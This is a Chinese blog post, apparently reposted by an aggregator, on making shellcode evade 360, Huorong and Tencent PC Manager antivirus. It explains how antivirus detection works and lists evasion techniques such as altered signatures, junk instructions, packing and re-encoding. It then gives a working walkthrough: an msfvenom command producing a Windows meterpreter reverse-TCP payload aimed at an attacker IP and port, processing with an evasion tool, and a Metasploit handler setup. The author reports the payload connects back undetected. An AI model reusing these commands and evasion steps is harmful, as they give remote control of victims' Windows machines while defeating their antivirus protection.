Shellcode免杀,绕过360安全卫士火绒安全腾讯管家

Posted exploitsec

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Shellcode免杀,绕过360安全卫士火绒安全腾讯管家相关的知识,希望对你有一定的参考价值。

前言

分享一个傻瓜式直接套用大佬的框架进行shellcode免杀,自己还是萌新还需要学习很多东西,大佬们不喜勿喷

杀毒原理

360、腾讯电脑管家、火绒剑、金山毒霸、瑞星等等,这几个杀毒软件领头羊,现在的杀毒软件都无法脱离三个部分,扫描器、病毒库、虚拟机。然而一个杀毒软件做的是否好用,最主要的还是扫描器的速度、准确率以及病毒库是否庞大。

1.基于特征码的静态扫描技术
这种技术很容易被人想到,所以第一代的杀毒软件出现了,他们的杀毒思想就是,我只要匹配到特征字符串就可以判断出来这个文件是一个病毒。但这种方法在当今病毒技术迅猛发展的形势下已经起不到很好的作用了。

2.启发式扫描
为了对付病毒的不断变化和对未知病毒的研究,启发式扫描方式出现了。启发式扫描是通过分析指令出现的顺序,或特定组合情况等常见病毒的标准特征来判断文件是否感染未知病毒。

可以根据扫描特定的行为或多种行为的组合来判断一个程序是否是病毒。例如,制定一套打分机制,在系统目录下释放文件得20分,对分区进行格式化得100分,对启动项进行操作得50分等,只要评分达到某个预设值,即可判断为病毒文件。

3.虚拟机技术
查毒引擎中的虚拟机,并不是像VMWare的工作原理那样,为待查的可执行程序创建一个虚拟的执行环境,提供它可能用到的一切元素,包括硬盘,端口等,让它在其上自由发挥,最后根据其行为来判定是否为病毒。

设计虚拟机查毒的目的,就是为了对付加密变形病毒,虚拟机首先从文件中确定并读取病毒入口处代码,然后以上述工作步骤解释执行病毒头部的解密段(Decryptor),最后在执行完的结果(解密后的病毒体明文)中查找病毒的特征码。

免杀技术

1.修改特征码
既然杀毒软件在最开始时,使用了病毒特征码概念,那么我们可以通过修改病毒特征码的方式躲过杀软扫描。

第一种是更改特征码,例如:一个文件在某一个地址内有 “灰鸽子上线成功” 这么一句话,表明它就是木马,只要将相应地址内的那句话改成别的就可以了。

第二种是根据校验和查杀技术提出的免杀思想,如果一个文件某个特定区域的校验和符合病毒库中的特征,那么反病毒软件就会报警。如果想阻止反病毒软件报警,只要对病毒的特定区域进行一定的更改,就会使这一区域的校验和改变,从而达到欺骗反病毒软件的目的。

2.花指令免杀
花指令免杀是指,在程序shellcode或特征代码区域增添垃圾指令,这些指令没有实际含义,不会改变程序运行逻辑,但可以阻止反编译,现在杀软在检测特征码时,都会存在偏移范围,当我们使用花指令对特征码区域进行大量填充,这样就可以实现躲避杀软的特性。

3.加壳免杀
加壳,程序加壳可以很好的躲避匹配特征码查杀方式,加密壳基本上可以把特征码全部掩盖。这里说的壳指加密壳,一些普通压缩壳,并不能起到改变特征码的效果,例如:UPX、ASPack等。

现在杀软会在检测到文件采用加密壳之后,直接提醒用户,该文件存在问题。可以使用不常见加密壳对程序进行加壳,来躲避杀软,该方法理论可用,只通过加壳实现免杀,成功几率很小,现在基于虚拟机技术,内存监测技术的发展,通过加壳方式进行免杀的思路越来越窄。

4.二次编译
msfvenom提供了多种格式的payload和encoder,生成的shellcode也为二次加工提供了很大便利,但是也被各大厂商盯得死死的。

而shikata_ga_nai是msf中唯一的评价是excellent的编码器,这种多态编码技术使得每次生成的攻击载荷文件是不一样的,编码和解码也都是不一样。还可以利用管道进行多重编码进行免杀。

目前msfvenom的encoder特征基本都进入了杀软的漏洞库。互联网上有很多借助于C、C#、python等语言对shellcode进行二次编码从而达到免杀的效果。

借鉴KeePassX大佬的文章:https://www.freebuf.com/articles/web/271271.html

Shellcode免杀测试

测试需要用到:攻击机kali、掩日3.0、虚拟机win10系统

掩日3.0下载安装:https://github.com/1y0n/AV_Evasion_Tool
需要3.x 依赖:
1.64位 Windows 7810 操作系统
2. .net framework 4.0 或更高版本 (Windows 自带)
3. tdm-gcc

启动MSF使用msfvenom生成一个shellcode.c文件出来

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.111.130 LPORT=6666 -f c > /root/sheelcode.c

得到的shellcode.c如下

然后我们使用掩日3.0进行傻瓜式免杀


生成好之后我们先试试各大杀毒平台的静态杀毒扫描检测

1.火绒

2.腾讯管家

3.360安全卫士

以上检测360安全卫士、火绒安全、腾讯管家成功bypass

然后我们运行msf平台监听木马试试各大平台的杀毒动态检测

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.111.130
set lport 6666
run



直接上线没有拦截、检测到,最后总结:害,有免杀总比没有好,哈哈哈哈哈QAQ

以上是关于Shellcode免杀,绕过360安全卫士火绒安全腾讯管家的主要内容,如果未能解决你的问题,请参考以下文章

绕过杀软——免杀exe文件(360火绒免杀)

shellcode免杀丨C语言三条指令免杀360!你还困吗?

免杀思路总结

免杀思路总结

Exp3 免杀原理与实践

打造一款Socket型免杀无弹窗的shellcode